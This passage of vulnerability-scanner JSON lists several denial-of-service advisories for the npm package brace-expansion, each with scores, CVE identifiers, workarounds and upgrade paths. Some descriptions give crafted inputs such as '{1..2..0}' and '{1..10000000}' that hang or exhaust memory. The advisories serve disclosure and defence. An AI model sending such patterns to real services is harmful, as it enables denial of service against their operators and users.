"fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.12.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.12.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.12.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.12.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/config@10.7.1", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/config@10.12.0", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub 